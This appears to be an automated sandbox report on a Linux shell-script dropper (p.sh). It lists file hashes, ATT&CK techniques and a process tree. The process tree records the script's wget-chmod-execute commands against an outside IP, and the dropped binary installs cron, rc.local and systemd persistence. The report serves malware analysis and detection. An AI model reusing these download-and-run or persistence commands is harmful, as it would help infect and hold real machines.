9431f74597e31c1efb2c724881b74ad1d95e6c3ad8938868f8cf77bd80874776

Analysis

max time kernel
150s
max time network
142s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04/08/2026, 08:08

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General

Target
p.sh
Size 835B
Sample260804-j1p8vsfg99
SHA256 9431f74597e31c1efb2c724881b74ad1d95e6c3ad8938868f8cf77bd80874776
MD5 6d9e87251609acb981b2618e6eebc84e
SHA1 c0d5720f9b5044b1b3f7bb9ee4bcff27ae697e5d
SHA512 5e3dc70759e034d07c90e88aa8c7076e08b6681e157276b9634d5f50a4cb897b123ce0d478aa9e4fe734d1bee04ebfe822159e76b22e0678c6be74e502391f8e
TLSH
T18801C2CBD26096508019D91E23D752A4F430C3C75A4B0B787FCC993DEB98E04B076F94
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
793	chmod
811	chmod
820	chmod
825	chmod
768	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/b5x	769	p.sh

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/crond	b5x
File opened for modification	/etc/crontab	b5x

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	b5x

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/crond.service	b5x

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	b5x

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/23/cmdline	b5x
File opened for reading	/proc/284/cmdline	b5x
File opened for reading	/proc/787/exe	b5x
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/833/cmdline	b5x
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/590/exe	b5x
File opened for reading	/proc/297/cmdline	b5x
File opened for reading	/proc/787/cmdline	b5x
File opened for reading	/proc/847/exe	b5x
File opened for reading	/proc/870/cmdline	b5x
File opened for reading	/proc/898/exe	b5x
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/106/cmdline	b5x
File opened for reading	/proc/797/cmdline	b5x
File opened for reading	/proc/858/cmdline	b5x
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/767/exe	b5x
File opened for reading	/proc/789/exe	b5x
File opened for reading	/proc/860/exe	b5x
File opened for reading	/proc/882/exe	b5x
File opened for reading	/proc/896/cmdline	b5x
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/1/exe	b5x
File opened for reading	/proc/4/cmdline	b5x
File opened for reading	/proc/29/cmdline	b5x
File opened for reading	/proc/769/cmdline	b5x
File opened for reading	/proc/772/exe	b5x
File opened for reading	/proc/108/cmdline	b5x
File opened for reading	/proc/808/exe	b5x
File opened for reading	/proc/888/exe	b5x
File opened for reading	/proc/894/exe	b5x
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/14/cmdline	b5x
File opened for reading	/proc/138/cmdline	b5x
File opened for reading	/proc/meminfo	b5x
File opened for reading	/proc/807/cmdline	b5x
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/631/exe	b5x
File opened for reading	/proc/809/cmdline	b5x
File opened for reading	/proc/863/cmdline	b5x
File opened for reading	/proc/892/exe	b5x
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/5/cmdline	b5x
File opened for reading	/proc/42/cmdline	b5x
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/869/exe	b5x
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/636/exe	b5x
File opened for reading	/proc/852/exe	b5x
File opened for reading	/proc/886/cmdline	b5x
File opened for reading	/proc/25/cmdline	b5x
File opened for reading	/proc/636/cmdline	b5x
File opened for reading	/proc/808/cmdline	b5x
File opened for reading	/proc/824/cmdline	b5x
File opened for reading	/proc/841/cmdline	b5x
File opened for reading	/proc/878/cmdline	b5x
File opened for reading	/proc/146/cmdline	b5x
File opened for reading	/proc/640/cmdline	b5x
File opened for reading	/proc/834/exe	b5x
File opened for reading	/proc/830/cmdline	b5x
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/169/cmdline	b5x

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/b5x	wget
File opened for modification	/tmp/p	p.sh

/tmp/p.sh
/tmp/p.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:643
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:645
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:651
- /bin/ls
  ls -l /proc/106/exe
  2⤵
  PID:660
- /bin/ls
  ls -l /proc/108/exe
  2⤵
  PID:665
- /bin/ls
  ls -l /proc/109/exe
  2⤵
  PID:668
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  PID:670
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:672
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  PID:674
- /bin/ls
  ls -l /proc/135/exe
  2⤵
  PID:677
- /bin/ls
  ls -l /proc/138/exe
  2⤵
  PID:679
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:680
- /bin/ls
  ls -l /proc/146/exe
  2⤵
  PID:681
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:682
- /bin/ls
  ls -l /proc/159/exe
  2⤵
  PID:683
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:685
- /bin/ls
  ls -l /proc/169/exe
  2⤵
  PID:686
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:687
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:688
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  PID:689
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  PID:690
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  PID:691
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:692
- /bin/ls
  ls -l /proc/219/exe
  2⤵
  - Reads runtime system information
  PID:693
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:694
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:695
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  PID:696
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:697
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  PID:698
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:699
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  PID:700
- /bin/ls
  ls -l /proc/283/exe
  2⤵
  PID:701
- /bin/ls
  ls -l /proc/284/exe
  2⤵
  PID:702
- /bin/ls
  ls -l /proc/287/exe
  2⤵
  PID:703
- /bin/ls
  ls -l /proc/288/exe
  2⤵
  PID:704
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  PID:705
- /bin/ls
  ls -l /proc/293/exe
  2⤵
  - Reads runtime system information
  PID:706
- /bin/ls
  ls -l /proc/297/exe
  2⤵
  PID:707
- /bin/ls
  ls -l /proc/298/exe
  2⤵
  PID:708
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:709
- /bin/ls
  ls -l /proc/313/exe
  2⤵
  PID:710
- /bin/ls
  ls -l /proc/320/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/324/exe
  2⤵
  - Reads runtime system information
  PID:712
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:713
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  PID:714
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  - Reads runtime system information
  PID:715
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  PID:716
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:717
- /bin/ls
  ls -l /proc/565/exe
  2⤵
  PID:718
- /bin/ls
  ls -l /proc/578/exe
  2⤵
  PID:719
- /bin/ls
  ls -l /proc/580/exe
  2⤵
  PID:720
- /bin/ls
  ls -l /proc/589/exe
  2⤵
  PID:721
- /bin/ls
  ls -l /proc/590/exe
  2⤵
  - Reads runtime system information
  PID:724
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:726
- /bin/ls
  ls -l /proc/631/exe
  2⤵
  PID:728
- /bin/ls
  ls -l /proc/635/exe
  2⤵
  PID:730
- /bin/ls
  ls -l /proc/636/exe
  2⤵
  PID:732
- /bin/ls
  ls -l /proc/638/exe
  2⤵
  PID:735
- /bin/ls
  ls -l /proc/640/exe
  2⤵
  PID:736
- /bin/ls
  ls -l /proc/641/exe
  2⤵
  PID:739
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  PID:740
- /bin/ls
  ls -l /proc/643/exe
  2⤵
  PID:743
- /bin/ls
  ls -l /proc/644/exe
  2⤵
  PID:745
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:747
- /bin/ls
  ls -l /proc/76/exe
  2⤵
  PID:749
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:751
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:754
- /bin/ls
  ls -l /proc/98/exe
  2⤵
  PID:755
- /bin/rm
  rm -rf b5x
  2⤵
  PID:758
- /usr/bin/wget
  wget http://129.121.110.105/b5x
  2⤵
  - Writes file to tmp directory
  PID:759
- /bin/chmod
  chmod 777 b5x
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/b5x
  ./b5x pdvr
  2⤵
  - Creates/modifies Cron job
  - Modifies rc script
  - Modifies systemd
  - Checks CPU configuration
  - Reads runtime system information
  PID:769
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:788
- - /usr/local/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:789
- - /usr/local/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:789
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:788
- - /usr/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:789
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:788
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:788
- - /usr/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:789
- - /sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:789
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:788
- - /bin/systemctl
    systemctl enable crond.service
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:789
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    PID:788
- /bin/rm
  rm -rf yWy4
  2⤵
  PID:775
- /usr/bin/wget
  wget http://129.121.110.105/yWy4
  2⤵
  PID:787
- /bin/chmod
  chmod 777 yWy4
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/yWy4
  ./yWy4 pdvr
  2⤵
  PID:796
- /bin/rm
  rm -rf FKO
  2⤵
  PID:797
- /usr/bin/wget
  wget http://129.121.110.105/FKO
  2⤵
  PID:798
- /bin/chmod
  chmod 777 FKO
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/FKO
  ./FKO pdvr
  2⤵
  PID:814
- /bin/rm
  rm -rf eAC
  2⤵
  PID:815
- /usr/bin/wget
  wget http://129.121.110.105/eAC
  2⤵
  PID:817
- /bin/chmod
  chmod 777 eAC
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/eAC
  ./eAC pdvr
  2⤵
  PID:821
- /bin/rm
  rm -rf S4Cq
  2⤵
  PID:822
- /usr/bin/wget
  wget http://129.121.110.105/S4Cq
  2⤵
  PID:824
- /bin/chmod
  chmod 777 S4Cq
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/S4Cq
  ./S4Cq pdvr
  2⤵
  PID:826
- /bin/rm
  rm -rf p
  2⤵
  PID:827

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

crond

Path /etc/cron.d/crond
Size 30B
SHA256 6d849d712d2bdcd1b153b50d46e34eeea130f2cedeca916f0a42d6a33d5b0c9c
MD5 240f1d336579d6d505a6e8b5b39bd8ad
SHA1 120c1478ef6af721cd527989e0bfca07b3e556f8
SHA512 8ffc9e14d4185802e37451074dd47816bcde15bf47ba52dc3caa08d008822ce02832c43e3b2c7b2f280418fffe28debb6170ac1a590df0bba1acd4c76e35fc4a
MD5 SHA1 SHA512

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rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

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rc.local

Path /etc/rc.local
Size 34B
SHA256 b81148e230f911dedaae894d5d1c3fdb3178f808930d695b50a4d202e12eb254
MD5 781beaef431a8297c10c63f19e0cfb0b
SHA1 6bfae947dce2c65fef1753767eea37d8d24c0b96
SHA512 2db43beda03c3420f0fd3de977f44b0fd10ef29868457fca566a55992ce2eb6c2ce684b0146242e273b5b654f3ad93f17e15bfc59cb87300718e3f60f391cb6e
MD5 SHA1 SHA512

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crond.service

Path /etc/systemd/system/crond.service
Size 193B
SHA256 1f4dee4f4dd02225c193db0a83fe55f8cb71fb49ecffdad8ab581bbf8403f20b
MD5 704186fe0fb3c93eeaabdfec6b8dc86b
SHA1 e471a369040be3b8ba252b890b57686b5988d639
SHA512 093079a9c445edfc5af076b202ba521b58a59955d4433cacdd740b15de994e98b324a54b6af3e9879ca5e2284e5bf13faa92c3d83f5f31ae99967415ddd43020
TLSH
T1BBC02223946154E0994F39A2AEE32B448EA102000ACF92B00BC019292DF20E71121DAE
MD5 SHA1 SHA512 TLSH

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b5x

Path /tmp/b5x
Size 73KB
SHA256 4a095b2f18caf5c97e89c61c605c294cb72f835afc76bf5e75aea009d8ec39ff
MD5 d797d2f80a713f9ca93d4beff102e9cb
SHA1 4588610cb28deff6c176813c209480e95ca57c9d
SHA512 92c2484332ab227b2638f25a7cd31c07cf0367059b4cf1ae44d6aa19b3745a56c7dc29f1e175202327f11a650c390d2b081125e29caba33701f7a839e1ac5dec
SSDEEP 1536:a1hjGC+ig4TlqbV5Vrj3miAQ6uzaRvZdaTwNZcrOF6EqRAh5Dfr:a1hqvZ4kZ5d3rA/uGxDcwHYOF6EqRg
TLSH
T1A0731726B9419F0BC6C25677BF2E8349331627BCE3DA3103DE156F6137DB52A0E2A941
MD5 SHA1 SHA512 SSDEEP TLSH

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Path /tmp/p
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads